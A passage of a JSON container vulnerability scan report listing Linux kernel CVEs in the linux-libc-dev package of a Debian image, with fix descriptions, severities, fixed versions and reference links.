"https://access.redhat.com/security/cve/CVE-2025-38137", "https://bugzilla.redhat.com/show_bug.cgi?id=2334820", "https://bugzilla.redhat.com/show_bug.cgi?id=2373383", "https://bugzilla.redhat.com/show_bug.cgi?id=2375303", "https://bugzilla.redhat.com/show_bug.cgi?id=2375304", "https://bugzilla.redhat.com/show_bug.cgi?id=2376064", "https://bugzilla.redhat.com/show_bug.cgi?id=2376078", "https://bugzilla.redhat.com/show_bug.cgi?id=2379219", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38079", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38084", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38085", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38137", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38292", "https://errata.rockylinux.org/RLSA-2025:13598", "https://git.kernel.org/linus/8b926f237743f020518162c62b93cb7107a2b5eb%20%286.16-rc1%29", "https://git.kernel.org/stable/c/8b926f237743f020518162c62b93cb7107a2b5eb", "https://git.kernel.org/stable/c/a63ed775f476ba81558bba24d7538836e1ffb823", "https://git.kernel.org/stable/c/b3ad6d23fec23fbef382ce9ea640c37446593cf5", "https://linux.oracle.com/cve/CVE-2025-38137.html", "https://linux.oracle.com/errata/ELSA-2025-13598.html", "https://lore.kernel.org/linux-cve-announce/2025070332-CVE-2025-38137-d4bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38137", "https://ubuntu.com/security/notices/USN-7769-1", "https://ubuntu.com/security/notices/USN-7769-2", "https://ubuntu.com/security/notices/USN-7769-3", "https://ubuntu.com/security/notices/USN-7770-1", "https://ubuntu.com/security/notices/USN-7771-1", "https://ubuntu.com/security/notices/USN-7789-1", "https://ubuntu.com/security/notices/USN-7789-2", "https://www.cve.org/CVERecord?id=CVE-2025-38137" ], "PublishedDate": "2025-07-03T09:15:28.24Z", "LastModifiedDate": "2026-10-21T13:18:09Z" }, { "VulnerabilityID": "CVE-2025-38187", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38187", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d70bfc9068dc5b17928efcd99775e685ce7ec93f30577bfd1768656f58fbb2f3", "Title": "kernel: drm/nouveau: fix a use-after-free in r535_gsp_rpc_push()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix a use-after-free in r535_gsp_rpc_push()\n\nThe RPC container is released after being passed to r535_gsp_rpc_send().\n\nWhen sending the initial fragment of a large RPC and passing the\ncaller's RPC container, the container will be freed prematurely. Subsequent\nattempts to send remaining fragments will therefore result in a\nuse-after-free.\n\nAllocate a temporary RPC container for holding the initial fragment of a\nlarge RPC when sending. Free the caller's container when all fragments\nare successfully sent.\n\n[ Rebase onto Blackwell changes. - Danilo ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38187", "https://git.kernel.org/linus/9802f0a63b641f4cddb2139c814c2e95cb825099%20%286.16-rc3%29", "https://git.kernel.org/stable/c/69270d24af7694494ac4116bcad30a812ca49ca7", "https://git.kernel.org/stable/c/9802f0a63b641f4cddb2139c814c2e95cb825099", "https://git.kernel.org/stable/c/cd4677407c0ee250fc21e36439c8a442ddd62cc1", "https://lore.kernel.org/linux-cve-announce/2025070413-CVE-2025-38187-dafd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38187", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2025-38187" ], "PublishedDate": "2025-07-04T14:15:25.64Z", "LastModifiedDate": "2026-10-21T13:18:09.247Z" }, { "VulnerabilityID": "CVE-2025-38204", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38204", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b5e30f04a9318f98d33d5777c6ed061f5cf81027ecbdb61e8f680d69e2c82921", "Title": "kernel: jfs: fix array-index-out-of-bounds read in add_missing_indices", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: fix array-index-out-of-bounds read in add_missing_indices\n\nstbl is s8 but it must contain offsets into slot which can go from 0 to\n127.\n\nAdded a bound check for that error and return -EIO if the check fails.\nAlso make jfs_readdir return with error if add_missing_indices returns\nwith an error.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38204", "https://access.redhat.com/security/cve/CVE-2025-38204", "https://git.kernel.org/linus/5dff41a86377563f7a2b968aae00d25b4ceb37c9%20%286.16-rc1%29", "https://git.kernel.org/stable/c/2ec34dc7094b14149ce091c77aff43a45d255518", "https://git.kernel.org/stable/c/44618bee303bed151ef3a525ff79fbd7689593b5", "https://git.kernel.org/stable/c/5730e2da0655336fed6aa3c25892e69e2ba5cb76", "https://git.kernel.org/stable/c/5dff41a86377563f7a2b968aae00d25b4ceb37c9", "https://git.kernel.org/stable/c/81af4b34fd72d390d7f237c6a545cc6d09707956", "https://git.kernel.org/stable/c/bfa4655d28f338e68d345aed80d19be7999bbce2", "https://git.kernel.org/stable/c/c8399564a58fb6ea2ff21a6fd278417943cb51a5", "https://git.kernel.org/stable/c/c8733634978086b41255695d993cec3017a23a27", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-5xbzlsmyrsb4.toml", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070419-CVE-2025-38204-c216@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38204", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38204" ], "PublishedDate": "2025-07-04T14:15:28.383Z", "LastModifiedDate": "2026-10-30T13:18:01.62Z" }, { "VulnerabilityID": "CVE-2025-38206", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a34a1252162f8a02bdf8952ebc2df928f754e3864b1e3b304006b7927ef46422", "Title": "kernel: Kernel: Double free vulnerability in exFAT filesystem can lead to denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexfat: fix double free in delayed_free\n\nThe double free could happen in the following path.\n\nexfat_create_upcase_table()\n exfat_create_upcase_table() : return error\n exfat_free_upcase_table() : free -\u003evol_utbl\n exfat_load_default_upcase_table : return error\n exfat_kill_sb()\n delayed_free()\n exfat_free_upcase_table() \u003c--------- double free\nThis patch set -\u003evol_util as NULL after freeing it.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 2, "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38206", "https://access.redhat.com/errata/RHSA-2026:3066", "https://access.redhat.com/security/cve/CVE-2025-38206", "https://bugzilla.redhat.com/2376034", "https://bugzilla.redhat.com/2376377", "https://errata.almalinux.org/9/ALSA-2026-3066.html", "https://git.kernel.org/linus/1f3d9724e16d62c7d42c67d6613b8512f2887c22%20%286.16-rc1%29", "https://git.kernel.org/stable/c/13d8de1b6568dcc31a95534ced16bc0c9a67bc15", "https://git.kernel.org/stable/c/1f3d9724e16d62c7d42c67d6613b8512f2887c22", "https://git.kernel.org/stable/c/29abaf93357f4a7d083cf399d4306999e20db31d", "https://git.kernel.org/stable/c/66e84439ec2af776ce749e8540f8fdd257774152", "https://git.kernel.org/stable/c/ac65f76db9b2ff3fbc9e198c0e9aaf81b111b7d0", "https://git.kernel.org/stable/c/d3cef0e7a5c1aa6217c51faa9ce8ecac35d6e1fd", "https://git.kernel.org/stable/c/ea27703eb0efbadcd45b9949526160ed90536a72", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-w4wfwisqfdsj.toml", "https://linux.oracle.com/cve/CVE-2025-38206.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070420-CVE-2025-38206-a077@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38206", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38206" ], "PublishedDate": "2025-07-04T14:15:28.703Z", "LastModifiedDate": "2026-09-02T13:16:49.14Z" }, { "VulnerabilityID": "CVE-2025-38421", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38421", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c094937fc9a587319e2b861cd909840f9f1cdcdbd121a9c494c10452ade33c0", "Title": "kernel: platform/x86/amd: pmf: Use device managed allocations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86/amd: pmf: Use device managed allocations\n\nIf setting up smart PC fails for any reason then this can lead to\na double free when unloading amd-pmf. This is because dev-\u003ebuf was\nfreed but never set to NULL and is again freed in amd_pmf_remove().\n\nTo avoid subtle allocation bugs in failures leading to a double free\nchange all allocations into device managed allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38421", "https://git.kernel.org/linus/d9db3a941270d92bbd1a6a6b54a10324484f2f2d%20%286.16-rc3%29", "https://git.kernel.org/stable/c/0d10b532f861253c283863522d59d099fcb0796d", "https://git.kernel.org/stable/c/d6a38e1a82d2f9abd0bae84a354654bccb8389f6", "https://git.kernel.org/stable/c/d9db3a941270d92bbd1a6a6b54a10324484f2f2d", "https://lore.kernel.org/linux-cve-announce/2025072554-CVE-2025-38421-8601@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38421", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://www.cve.org/CVERecord?id=CVE-2025-38421" ], "PublishedDate": "2025-07-25T15:15:26.927Z", "LastModifiedDate": "2026-10-21T13:18:11.537Z" }, { "VulnerabilityID": "CVE-2025-38584", "VendorIDs": [ "DSA-6253-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38584", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:73da199b594c1e7be570a825bf9591088accd57f503889df88f42b9c49a7369e", "Title": "kernel: padata: Fix pd UAF once and for all", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: Fix pd UAF once and for all\n\nThere is a race condition/UAF in padata_reorder that goes back\nto the initial commit. A reference count is taken at the start\nof the process in padata_do_parallel, and released at the end in\npadata_serial_worker.\n\nThis reference count is (and only is) required for padata_replace\nto function correctly. If padata_replace is never called then\nthere is no issue.\n\nIn the function padata_reorder which serves as the core of padata,\nas soon as padata is added to queue-\u003eserial.list, and the associated\nspin lock released, that padata may be processed and the reference\ncount on pd would go away.\n\nFix this by getting the next padata before the squeue-\u003eserial lock\nis released.\n\nIn order to make this possible, simplify padata_reorder by only\ncalling it once the next padata arrives.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38584", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/71203f68c7749609d7fc8ae6ad054bdedeb24f91%20%286.17-rc1%29", "https://git.kernel.org/stable/c/609e59193fc6d9dd323f1c6ae1fdd721f1c79680", "https://git.kernel.org/stable/c/71203f68c7749609d7fc8ae6ad054bdedeb24f91", "https://git.kernel.org/stable/c/73f132e60857038416540c3599b1de6033d7575a", "https://git.kernel.org/stable/c/a11a12a9880ab37342b73c93cfe1a3ada02ff0db", "https://git.kernel.org/stable/c/a2048e475e22b13dc3e53d485b7e6e11464ed9a6", "https://git.kernel.org/stable/c/cdf79bd2e1ecb3cc75631c73d8f4149be6019a52", "https://git.kernel.org/stable/c/dbe3e911a59bda6de96e7cae387ff882c2c177fa", "https://git.kernel.org/stable/c/f231d5d001ec75f5886c02d496a4c79edc383d45", "https://linux.oracle.com/cve/CVE-2025-38584.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2025081914-CVE-2025-38584-2648@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38584", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8033-1", "https://ubuntu.com/security/notices/USN-8033-2", "https://ubuntu.com/security/notices/USN-8033-3", "https://ubuntu.com/security/notices/USN-8033-4", "https://ubuntu.com/security/notices/USN-8033-5", "https://ubuntu.com/security/notices/USN-8033-6", "https://ubuntu.com/security/notices/USN-8033-7", "https://ubuntu.com/security/notices/USN-8033-8", "https://ubuntu.com/security/notices/USN-8034-1", "https://ubuntu.com/security/notices/USN-8034-2", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8243-1", "https://www.cve.org/CVERecord?id=CVE-2025-38584" ], "PublishedDate": "2025-08-19T17:15:35.723Z", "LastModifiedDate": "2026-10-15T22:18:46.183Z" }, { "VulnerabilityID": "CVE-2025-38627", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38627", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9dba71ee371759ff31841fb8c4ed281a45d8260242fce26577a3bddee4f34a32", "Title": "kernel: f2fs: compress: fix UAF of f2fs_inode_info in f2fs_free_dic", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: compress: fix UAF of f2fs_inode_info in f2fs_free_dic\n\nThe decompress_io_ctx may be released asynchronously after\nI/O completion. If this file is deleted immediately after read,\nand the kworker of processing post_read_wq has not been executed yet\ndue to high workloads, It is possible that the inode(f2fs_inode_info)\nis evicted and freed before it is used f2fs_free_dic.\n\n The UAF case as below:\n Thread A Thread B\n - f2fs_decompress_end_io\n - f2fs_put_dic\n - queue_work\n add free_dic work to post_read_wq\n - do_unlink\n - iput\n - evict\n - call_rcu\n This file is deleted after read.\n\n Thread C kworker to process post_read_wq\n - rcu_do_batch\n - f2fs_free_inode\n - kmem_cache_free\n inode is freed by rcu\n - process_scheduled_works\n - f2fs_late_free_dic\n - f2fs_free_dic\n - f2fs_release_decomp_mem\n read (dic-\u003einode)-\u003ei_compress_algorithm\n\nThis patch store compress_algorithm and sbi in dic to avoid inode UAF.\n\nIn addition, the previous solution is deprecated in [1] may cause system hang.\n[1] https://lore.kernel.org/all/c36ab955-c8db-4a8b-a9d0-f07b5f426c3f@kernel.org", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38627", "https://git.kernel.org/linus/39868685c2a94a70762bc6d77dc81d781d05bff5%20%286.17-rc1%29", "https://git.kernel.org/stable/c/39868685c2a94a70762bc6d77dc81d781d05bff5", "https://git.kernel.org/stable/c/5d604d40cd3232b09cb339941ef958e49283ed0a", "https://git.kernel.org/stable/c/74cbeeca4f16823ba58c882e1d8b836c0e39c93d", "https://git.kernel.org/stable/c/8fae5b6addd5f6895e03797b56e3c7b9f9cd15c9", "https://git.kernel.org/stable/c/cc81768212cdc509e5a986274db7bc24d18cde19", "https://lore.kernel.org/linux-cve-announce/2025082231-CVE-2025-38627-7cb6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38627", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-38627" ], "PublishedDate": "2025-08-22T16:15:36.337Z", "LastModifiedDate": "2026-07-30T06:23:32.153Z" }, { "VulnerabilityID": "CVE-2025-38636", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38636", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f60b2876c334ad8887f25e434681ca89456e41df6fa5ef185109c902050984d", "Title": "kernel: rv: Use strings in da monitors tracepoints", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrv: Use strings in da monitors tracepoints\n\nUsing DA monitors tracepoints with KASAN enabled triggers the following\nwarning:\n\n BUG: KASAN: global-out-of-bounds in do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n Read of size 32 at addr ffffffffaada8980 by task ...\n Call Trace:\n \u003cTASK\u003e\n [...]\n do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n ? __pfx_do_trace_event_raw_event_event_da_monitor+0x10/0x10\n ? trace_event_sncid+0x83/0x200\n trace_event_sncid+0x163/0x200\n [...]\n The buggy address belongs to the variable:\n automaton_snep+0x4e0/0x5e0\n\nThis is caused by the tracepoints reading 32 bytes __array instead of\n__string from the automata definition. Such strings are literals and\nreading 32 bytes ends up in out of bound memory accesses (e.g. the next\nautomaton's data in this case).\nThe error is harmless as, while printing the string, we stop at the null\nterminator, but it should still be fixed.\n\nUse the __string facilities while defining the tracepoints to avoid\nreading out of bound memory.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38636", "https://git.kernel.org/linus/7f904ff6e58d398c4336f3c19c42b338324451f7%20%286.17-rc1%29", "https://git.kernel.org/stable/c/0ebc70d973ce7a81826b5c4f55f743e07f5864d9", "https://git.kernel.org/stable/c/665ca03e93cee01baadc7b5eaee21b9d892e0dab", "https://git.kernel.org/stable/c/7f904ff6e58d398c4336f3c19c42b338324451f7", "https://git.kernel.org/stable/c/cb8de6f5ed5c43f7387615bbe601d2a4a31b7b35", "https://git.kernel.org/stable/c/dcae71222c8b9e5b5dd88a2d67347dedf10e68c6", "https://lore.kernel.org/linux-cve-announce/2025082233-CVE-2025-38636-0ce2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38636", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38636" ], "PublishedDate": "2025-08-22T16:15:37.587Z", "LastModifiedDate": "2026-11-05T22:17:21.737Z" }, { "VulnerabilityID": "CVE-2025-38656", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38656", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c1b5cf0e527c0d74b0b9319216406864792467cb0ee97e74a67f80b07cfc858f", "Title": "kernel: wifi: iwlwifi: Fix error code in iwl_op_mode_dvm_start()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: Fix error code in iwl_op_mode_dvm_start()\n\nPreserve the error code if iwl_setup_deferred_work() fails. The current\ncode returns ERR_PTR(0) (which is NULL) on this path. I believe the\nmissing error code potentially leads to a use after free involving\ndebugfs.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38656", "https://git.kernel.org/stable/c/1d068272c21d886d06526454b68368100ba0a720", "https://git.kernel.org/stable/c/5c432da1ee191e9f7830dd516456706063d7bec3", "https://git.kernel.org/stable/c/991e2066f6009d3cb898413058c62dbcc92bd6d2", "https://git.kernel.org/stable/c/cf80c02a9fdb6c5bc8508beb6a0f6a1294fc32f6", "https://git.kernel.org/stable/c/f95598a133a905fd937354ad902773d05593b8b9", 